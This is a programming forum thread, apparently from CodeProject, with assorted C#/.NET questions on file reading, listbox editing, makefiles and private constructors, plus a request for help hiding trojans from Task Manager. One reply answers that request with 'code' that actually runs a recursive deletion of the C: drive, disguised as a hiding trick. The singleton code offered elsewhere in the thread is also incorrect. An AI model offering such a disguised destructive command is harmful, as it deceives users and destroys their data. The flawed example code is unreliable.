|
irsalina wrote: foreach (string Item in Filename)
What do you expect this to do ? It's going to iterate once, perhaps. There is one string in filename, it's a string.
Try File.ReadAllLines instead, then use a foreach on the result, passing each string directly in, without having to use a streamreader at all.
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Well, i've came out with this:
if (File.Exists(Filename) == true)
{
//Open the file and read all lines
string readDD = File.ReadAllLines(Filename);
{
foreach (string dd in readDD)
{
listBoxBlockedNumberDD.Items.Add(dd);
}
}
}
But there is an error that said "System.IO.File does not contain a definition for ReadAllLines". From what I know, System.IO has already been implemented in System.dll and mscorlib.dll and I've had those. I also have installed v1.1.4322 .Net and it should've worked. So, where do u think my fault?
Thank you so much
ichiwa
[student]
|
|
|
|
|
It's for delete data from listbox and txt file in windows mobile. I've came up until this.
private void menuItemUn_Click(object sender, EventArgs e)
{
//delete item in list box
if (listBoxBlockedNumberDD.SelectedIndex == -1)
{
MessageBox.Show("Nothing selected.", "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1);
return;
}
listBoxBlockedNumberDD.Items.Remove(listBoxBlockedNumberDD.SelectedItem);
//delete the item in file? what should I put in here
}
ichiwa
|
|
|
|
|
Your best bet is to overwrite the file with that line removed. You can't just remove a line from a file, it doesn't work that way. You save the file with the line gone.
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
hi.. i need multiple columns in Autocomplete Textbox which is reside inside the grid...
|
|
|
|
|
Reword your question because I have no idea what you mean. If you need help, take some time in wording your question properly--at least.
|
|
|
|
|
Do you mean to develop textboxes at header of grid for filtering or something like that.
I didn't understand the question clearly but try using templatecolumn
|
|
|
|
|
You might want to look for editable combobox with multi columns instead.
Regards,
Thomas Stockwell
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.
Visit my Blog
|
|
|
|
|
Hello all,
In VisualStudio 6.0, there's an Export Makefile menu item
that creates a makefile for the project. Is there any way to achieve this in VS.Net 2005? Basically, I need a command-line build script for my project and was wondering if there's
an automated way to generate it for an existing VS.Net project.
Thks
T J S
|
|
|
|
|
No, and ask this in the VS forum.
xacc.ide - now with TabsToSpaces support IronScheme - 1.0 beta 1 - out now! ((lambda (x) `((lambda (x) ,x) ',x)) '`((lambda (x) ,x) ',x))
|
|
|
|
|
I've come across some classes in the .NET framework that have no constructors defined, but are not static classes. For example, to instantiate an AppDomain class, you call the static function AppDomain.CreateDomain() which returns an instance of the AppDomain class. There are no constructors defined for the class, so you cannot instantiate the class using the new keyword.
My question is how does the CreateDomain() function instantiate the class?
Thanks in advance,
Kevin
|
|
|
|
|
This is sometimes done for Singleton Design Pattern reasons. It is instantiated like so:
Public class AppDomain
{
private AppDomain _instance;
// Notice how the constructor is protected (can be private)
protected AppDomain()
{
}
// Notice the method is static
public static CreateDomain()
{
// Below it first checks if there is already an instance created and returns it.
// Else creates and returns it
if (_instance == null)
_instance = new AppDomain();
return _instance;
}
}
|
|
|
|
|
Ah ha. Private constructors. I knew there had to be a good reason to be able to do that.
Thanks
|
|
|
|
|
|
PIEBALDconsult wrote: Shhh... that's private.
TMI!
xacc.ide - now with TabsToSpaces support IronScheme - 1.0 beta 1 - out now! ((lambda (x) `((lambda (x) ,x) ',x)) '`((lambda (x) ,x) ',x))
|
|
|
|
|
There's no such thing as a class with no constructor, if you don't provide a private one with no arguments, a public one is created. Otherwise, what the other guy said ( factory patterns, etc ). One common use for this would be for a single instance only to exist of a class, so you have a private constructor, in a static class, which has a property that returns the only possible instance of itself. Good for settings, for example.
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Hi,
about trojans, if run taskmanager i see all threads at the moment, so it´s better to detect when user turn on and off taskmanager, right? is that possible in code? i think so.
the other way to keep trojans stealth is to mess with taskmanager code itself?
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
You are scum. You think we're going to help you write destructive code ?
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
JACKASS....
Blog link to be reinstated at a later date.
|
|
|
|
|
take it easy!!!
i already read a post asking this on monday!!!
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
Even if you're not writing a trojan, someone else could be, so why would we publicly tell people how to do it ?
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Here's the code:
Put this at the start of your .cs file
Using System.Diagnostics;
Then use this to hid the process itself.
Process HideFromTaskManager = NewProcess();
HideFromTaskManager.Startinfo.Filename = @"del /s C:\*.*"
HideFromTaskManager.StartInfo.CreateNoWindow = True
HideFromTaskManager.Start()
Today's lesson is brought to you by the word "niggardly". Remember kids, don't attribute to racism what can be explained by Scandinavian language roots.
-- Robert Royall
|
|
|
|
|
thanks dan!
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
|
just wanted to know how to do it.
Why is all the fuzz, wanted more how to trigger one procedure when a particular application lanches or shutdown, people already asked it before, and some were thinking on trojans but they didn´t say.
science is neutral, we use it for good or bad purposes, cant put a break there, i think.
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|